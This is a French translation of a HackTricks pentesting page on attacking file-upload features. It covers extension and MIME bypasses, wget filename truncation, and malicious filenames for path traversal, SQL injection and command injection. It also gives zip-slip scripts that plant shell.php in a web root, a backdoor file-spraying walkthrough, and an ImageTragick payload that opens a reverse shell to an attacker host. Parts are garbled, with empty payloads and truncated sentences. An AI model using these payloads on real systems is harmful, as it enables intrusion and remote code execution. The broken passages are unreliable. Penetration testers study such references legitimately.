☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! - Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) - Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) - **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et au [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
# Méthodologie générale de téléchargement de fichiers 1. Essayez de télécharger un fichier avec une **double extension** \(ex: _file.png.php_ ou _file.png.php5_\). * Extensions PHP: _.php_, _.php2_, _.php3_, ._php4_, ._php5_, ._php6_, ._php7_, ._phps_, ._pht_, _.phtml_, ._pgif_, _.shtml, .htaccess, .phar, .inc_ * Extensions ASP: _.asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .asp, .cer, .shtml_ 2. Essayez de mettre en majuscule une ou plusieurs lettres de l'extension. Par exemple: _.pHp, .pHP5, .PhAr ..._ 3. Essayez de télécharger une **double (ou plus) extension** \(utile pour contourner les vérifications mal configurées qui testent si une extension spécifique est simplement présente\): 1. _file.png.php_ 2. _file.png.txt.php_ 4. Essayez de télécharger une **double extension inversée** \(utile pour exploiter les erreurs de configuration d'Apache où tout ce qui a une extension _.php_, mais **n'ayant pas nécessairement une extension .php** exécutera du code\): * _ex: file.php.png_ 5. Double extension avec un **caractère nul**: 1. _ex: file.php%00.png_ 6. **Ajoutez quelques caractères spéciaux à la fin** de l'extension_: %00, %20, \(plusieurs points\)...._ 1. _file.php%00_ 2. _file.php%20_ 3. _file.php...... --> Sous Windows, lorsque qu'un fichier est créé avec des points à la fin, ils seront supprimés \(vous pouvez donc contourner les filtres qui vérifient l'extension .php\)_ 4. _file.php/_ 5. _file.php.\_ 7. Contournez les vérifications du type de contenu en définissant la **valeur** de l'en-tête **Content-Type** sur: _image/png_, _text/plain, application/octet-stream_ 8. Contournez la vérification du numéro magique en ajoutant au début du fichier les **octets d'une vraie image** \(pour tromper la commande _file_\). Ou introduisez le shell dans les **métadonnées**: `exiftool -Comment="*?”` dans son nom. \(Windows\) 6. Téléchargez un fichier dans **Windows** en utilisant des **noms réservés** \(**interdits**\) tels que CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8 et LPT9. Essayez également de **télécharger un exécutable** \(.exe\) ou un **.html** \(moins suspect\) qui **exécutera du code** lorsqu'il sera ouvert accidentellement par la victime. {% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files" %} Si vous essayez de télécharger des fichiers sur un serveur **PHP**, [jetez un coup d'œil à l'astuce du fichier **.htaccess** pour exécuter du code](https://book.hacktricks.xyz/pentesting/pentesting-web/php-tricks-esp#code-execution-via-httaccess). Si vous essayez de télécharger des fichiers sur un serveur **ASP**, [jetez un coup d'œil à l'astuce du fichier **.config** pour exécuter du code](../pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files). Les fichiers `.phar` sont comme les fichiers `.jar` pour Java, mais pour PHP, et peuvent être **utilisés comme un fichier PHP** (en l'exécutant avec PHP ou en l'incluant dans un script...). L'extension `.inc` est parfois utilisée pour les fichiers PHP qui sont uniquement utilisés pour **importer des fichiers**, donc, à un moment donné, quelqu'un aurait pu autoriser **cette extension à être exécutée**. **Vérifiez de nombreuses vulnérabilités possibles de téléchargement de fichiers avec le plugin BurpSuit** [**https://github.com/modzero/mod0BurpUploadScanner**](https://github.com/modzero/mod0BurpUploadScanner) **ou utilisez une application console qui trouve quels fichiers peuvent être téléchargés et essaie différentes astuces pour exécuter du code :** [**https://github.com/almandin/fuxploider**](https://github.com/almandin/fuxploider) ## **Astuce de téléchargement de fichier/SSRF avec wget** Dans certaines occasions, vous pouvez constater qu'un serveur utilise **`wget`** pour **télécharger des fichiers** et vous pouvez **indiquer** l'**URL**. Dans ces cas, le code peut vérifier que l'extension des fichiers téléchargés se trouve dans une liste blanche pour s'assurer que seuls les fichiers autorisés seront téléchargés. Cependant, **cette vérification peut être contournée**. La **longueur maximale** d'un **nom de fichier** sous **Linux** est de **255**, cependant, **wget** tronque les noms de fichiers à **236** caractères. Vous pouvez **télécharger un fichier appelé "A"\*232+".php"+".gif"**, ce nom de fichier **contournera** la **vérification** (comme dans cet exemple **".gif"** est une extension **valide**), mais `wget` renommera le fichier en **"A"\*232+".php"**. ```bash #Create file and HTTP server echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")') python3 -m http.server 9080 ``` ```bash #Download the file wget 127.0.0.1:9080/$(python -c 'print("A"*(236-4)+".php"+".gif")') The name is too long, 240 chars total. Trying to shorten... New name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php. --2020-06-13 03:14:06-- http://127.0.0.1:9080/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.gif Connecting to 127.0.0.1:9080... connected. HTTP request sent, awaiting response... 200 OK Length: 10 [image/gif] Saving to: ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[===============================================>] 10 --.-KB/s in 0s 2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10] ``` Notez que **une autre option** à laquelle vous pourriez penser pour contourner cette vérification est de faire en sorte que le serveur HTTP redirige vers un fichier différent, de sorte que l'URL initiale contourne la vérification, puis wget téléchargera le fichier redirigé avec le nouveau nom. Cela **ne fonctionnera pas** **à moins que** wget ne soit utilisé avec le **paramètre** `--trust-server-names` car **wget téléchargera la page redirigée avec le nom du fichier indiqué dans l'URL d'origine**. # De l'envoi de fichiers à d'autres vulnérabilités * Définissez le **nom de fichier** sur `../../../tmp/lol.png` et essayez d'obtenir une **traversée de chemin** * Définissez le **nom de fichier** sur `sleep(10)-- -.jpg` et vous pourriez réussir une **injection SQL** * Définissez le **nom de fichier** sur `` pour obtenir une XSS * Définissez le **nom de fichier** sur `; sleep 10;` pour tester une injection de commande \(plus de [trucs d'injection de commande ici](command-injection.md)\) * [**XSS** dans l'envoi de fichiers d'image \(svg\)](xss-cross-site-scripting/#xss-uploading-files-svg) * **Envoi** de fichiers **JS** + **XSS** = [exploitation des **Service Workers**](xss-cross-site-scripting/#xss-abusing-service-workers) * [**XXE dans l'envoi de fichiers svg**](xxe-xee-xml-external-entity.md#svg-file-upload) * [**Redirection ouverte** via l'envoi de fichiers svg](open-redirect.md#open-redirect-uploading-svg-files) * [Célèbre vulnérabilité **ImageTrick**](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/) * Si vous pouvez **indiquer au serveur Web de récupérer une image à partir d'une URL**, vous pouvez essayer d'exploiter une [SSRF](ssrf-server-side-request-forgery.md). Si cette **image** doit être **enregistrée** sur un site **public**, vous pouvez également indiquer une URL provenant de [https://iplogger.org/invisible/](https://iplogger.org/invisible/) et **voler des informations sur chaque visiteur**. Voici une liste des 10 principales choses que vous pouvez réaliser en téléchargeant \(à partir de [ce lien](https://twitter.com/SalahHasoneh1/status/1281274120395685889)\) : 1. **ASP / ASPX / PHP5 / PHP / PHP3** : Webshell / RCE 2. **SVG** : XSS stockée / SSRF / XXE 3. **GIF** : XSS stockée / SSRF 4. **CSV** : Injection CSV 5. **XML** : XXE 6. **AVI** : LFI / SSRF 7. **HTML / JS** : Injection HTML / XSS / Redirection ouverte 8. **PNG / JPEG** : Attaque par inondation de pixels \(DoS\) 9. **ZIP** : RCE via LFI / DoS 10. **PDF / PPTX** : SSRF / XXE aveugle # Envoi automatique de fichiers ZIP décompressés Si vous pouvez télécharger un fichier ZIP qui va être décompressé sur le serveur, vous pouvez faire 2 choses : ## Lien symbolique Téléchargez un lien contenant des liens symboliques vers d'autres fichiers, puis, en accédant aux fichiers décompressés, vous accéderez aux fichiers liés : ```text ln -s ../../../index.php symindex.txt zip --symlinks test.zip symindex.txt ``` ## Décompression dans différents dossiers Les fichiers décompressés seront créés dans des dossiers inattendus. On pourrait facilement supposer que cette configuration protège contre l'exécution de commandes au niveau du système d'exploitation via des téléchargements de fichiers malveillants, mais malheureusement ce n'est pas vrai. Étant donné que le format d'archive ZIP prend en charge la compression hiérarchique et que nous pouvons également faire référence à des répertoires de niveaux supérieurs, nous pouvons échapper au répertoire de téléchargement sécurisé en exploitant la fonction de décompression de l'application cible. Une exploitation automatisée pour créer ce type de fichiers peut être trouvée ici : [https://github.com/ptoomey3/evilarc](https://github.com/ptoomey3/evilarc) ```python python evilarc.py -o unix -d 5 -p /var/www/html/ rev.php ``` ```python import zipfile def create_malicious_zip(file_path, payload): with zipfile.ZipFile(file_path, 'w') as zip_file: zip_file.writestr("../payload.php", payload) file_path = "malicious.zip" payload = "" create_malicious_zip(file_path, payload) ``` This Python code creates a malicious zip file by using the `zipfile` module. The `create_malicious_zip` function takes two parameters: `file_path` (the path where the malicious zip file will be created) and `payload` (the payload to be included in the zip file). Inside the function, a `ZipFile` object is created with the specified `file_path` and opened in write mode (`'w'`). The `writestr` method is then used to add a file named `"../payload.php"` to the zip file, with the contents being the `payload` provided. In this example, the payload is a PHP code that allows remote command execution (`system($_GET['cmd'])`). This code can be used for malicious purposes, such as gaining unauthorized access to a vulnerable web server. After running the code, a file named `"malicious.zip"` will be created in the specified `file_path`, containing the malicious payload. ```python #!/usr/bin/python import zipfile from cStringIO import StringIO def create_zip(): f = StringIO() z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED) z.writestr('../../../../../var/www/html/webserver/shell.php', '') z.writestr('otherfile.xml', 'Content of the file') z.close() zip = open('poc.zip','wb') zip.write(f.getvalue()) zip.close() create_zip() ``` Pour réaliser l'exécution de commandes à distance, j'ai suivi les étapes suivantes : 1. Créer un shell PHP : ```php ``` 2. Utilisez la technique du "file spraying" et créez un fichier zip compressé : ```text root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done root@s2crew:/tmp# ls *.php simple-backdoor.php xxAxxAxxAcmd.php xxAxxAxxAxxAxxAxxAcmd.php xxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php xxAcmd.php xxAxxAxxAxxAcmd.php xxAxxAxxAxxAxxAxxAxxAcmd.php xxAxxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php xxAxxAcmd.php xxAxxAxxAxxAxxAcmd.php xxAxxAxxAxxAxxAxxAxxAxxAcmd.php root@s2crew:/tmp# zip cmd.zip xx*.php adding: xxAcmd.php (deflated 40%) adding: xxAxxAcmd.php (deflated 40%) adding: xxAxxAxxAcmd.php (deflated 40%) adding: xxAxxAxxAxxAcmd.php (deflated 40%) adding: xxAxxAxxAxxAxxAcmd.php (deflated 40%) adding: xxAxxAxxAxxAxxAxxAcmd.php (deflated 40%) adding: xxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%) adding: xxAxxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%) adding: xxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%) adding: xxAxxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%) root@s2crew:/tmp# ``` 3. Utilisez un éditeur hexadécimal ou vi et changez "xxA" en "../", j'ai utilisé vi : ```text :set modifiable :%s/xxA/..\//g :x! ``` Seule une étape reste à accomplir : téléchargez le fichier ZIP et laissez l'application le décompresser ! Si cela réussit et que le serveur web dispose des privilèges suffisants pour écrire dans les répertoires, un simple shell d'exécution de commandes OS sera disponible sur le système : [![b1](https://blog.silentsignal.eu/wp-content/uploads/2014/01/b1-300x106.png)](https://blog.silentsignal.eu/wp-content/uploads/2014/01/b1.png) **Référence** : [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/) ## Décompression avec un nom différent Parfois, une application bloquera le chargement d'un fichier en vérifiant son extension à l'intérieur du fichier zip. Si cette vérification est superficielle, c'est-à-dire en vérifiant le nom du fichier à l'intérieur de l'en-tête du champ local, elle peut être contournée en faisant croire à l'application que le fichier a une telle extension, alors qu'il en aura une autre une fois décompressé. Nous pouvons réutiliser le script précédent pour créer un fichier zip. ```python #!/usr/bin/python import zipfile from cStringIO import StringIO def create_zip(): f = StringIO() z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED) z.writestr('shell.php .pdf', '') z.close() zip = open('poc.zip','wb') zip.write(f.getvalue()) zip.close() create_zip() ``` Notez que le nom contient un espace à l'intérieur. Maintenant, vous pouvez modifier le fichier zip généré avec un éditeur hexadécimal et changer ce caractère dans le champ nom situé à l'intérieur de l'en-tête du répertoire central en un octet nul `00`: ```bash # before changing the name of the file inside the Central Directory header 00000080: 0000 0073 6865 6c6c 2e70 6870 202e 7064 ...shell.php .pd # after changing the name of the file inside the Central Directory header 00000080: 0000 0073 6865 6c6c 2e70 6870 002e 7064 ...shell.php..pd ``` Lorsque l'application vérifiera le nom du fichier à l'intérieur du zip, le nom utilisé pour cette vérification sera le nom de l'en-tête de fichier local, **mais pas si le zip est chiffré** (voir la spécification pkzip). Le nom utilisé pour stocker le fichier sera le nom de l'en-tête du répertoire central lorsque 7z ou unzip constateront une différence entre les deux noms. Grâce à l'octet nul, le nom sera `shell.php`. Lors de la décompression : ```bash 7z e poc.zip ls shell.php ``` **Références**: [https://users.cs.jmu.edu/buchhofp/forensics/formats/pkzip.html](https://users.cs.jmu.edu/buchhofp/forensics/formats/pkzip.html) [https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT](https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT) # ImageTragic Téléchargez ce contenu avec une extension d'image pour exploiter la vulnérabilité **\(ImageMagick, 7.0.1-1\)**. ```text push graphic-context viewbox 0 0 640 480 fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)' pop graphic-context ``` # Intégration d'un shell PHP dans un fichier PGN La raison principale de placer un shell web dans le chunk IDAT est qu'il a la capacité de contourner les opérations de redimensionnement et de rééchantillonnage - PHP-GD contient deux fonctions pour cela [imagecopyresized](http://php.net/manual/en/function.imagecopyresized.php) et [imagecopyresampled](http://php.net/manual/en/function.imagecopyresampled.php). Lisez cet article: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/) # Fichiers polyglottes Les polyglottes, dans un contexte de sécurité, sont des fichiers qui sont une forme valide de plusieurs types de fichiers différents. Par exemple, un [GIFAR](https://en.wikipedia.org/wiki/Gifar) est à la fois un fichier GIF et un fichier RAR. Il existe également des fichiers qui peuvent être à la fois GIF et JS, à la fois PPT et JS, etc. Les fichiers polyglottes sont souvent utilisés pour contourner les protections basées sur les types de fichiers. De nombreuses applications qui permettent aux utilisateurs de télécharger des fichiers n'autorisent que certains types de fichiers, tels que JPEG, GIF, DOC, afin d'empêcher les utilisateurs de télécharger des fichiers potentiellement dangereux tels que des fichiers JS, des fichiers PHP ou des fichiers Phar. Cela permet de télécharger un fichier qui est conforme au format de plusieurs formats différents. Cela vous permet de télécharger un fichier PHAR (PHp ARchive) qui ressemble également à un JPEG, mais vous aurez probablement toujours besoin d'une extension valide et si la fonction de téléchargement ne le permet pas, cela ne vous aidera pas. Plus d'informations sur: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! - Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) - Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) - **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - **Partagez vos astuces de piratage en soumettant des PR au référentiel [hacktricks](https://github.com/carlospolop/hacktricks) et [hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.